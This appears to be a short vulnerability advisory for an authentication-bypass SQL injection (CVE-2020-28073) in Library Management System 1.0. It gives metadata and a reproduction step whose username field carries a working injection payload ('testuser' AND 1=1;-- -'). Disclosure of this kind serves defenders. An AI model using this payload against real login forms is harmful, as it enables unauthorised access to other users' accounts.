Library Management System 1.0 SQL Injection

Library Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 3a6f77f1e026975dbb348acc6760885d

# Exploit Title: Authentication Bypass via SQL injection on Library Management System 
# Date: 23/10/2020
# Exploit Author: Valerio Alessandroni
# Vendor Homepage:
# Software Link: ull-source-code-2020.html
# Version: 1.0
# Tested on: ubuntu 18.04
# CVE : CVE-2020-28073
# Description:

SQL injection on Library Management System v1.0 allows a potentially attacker to bypass the user authentication and impersonificate every user on the system.

# Reproduction:

- Go to login page ( and try to bypass login.

username: testuser' AND 1=1;-- - password: RandomlyText

Related Posts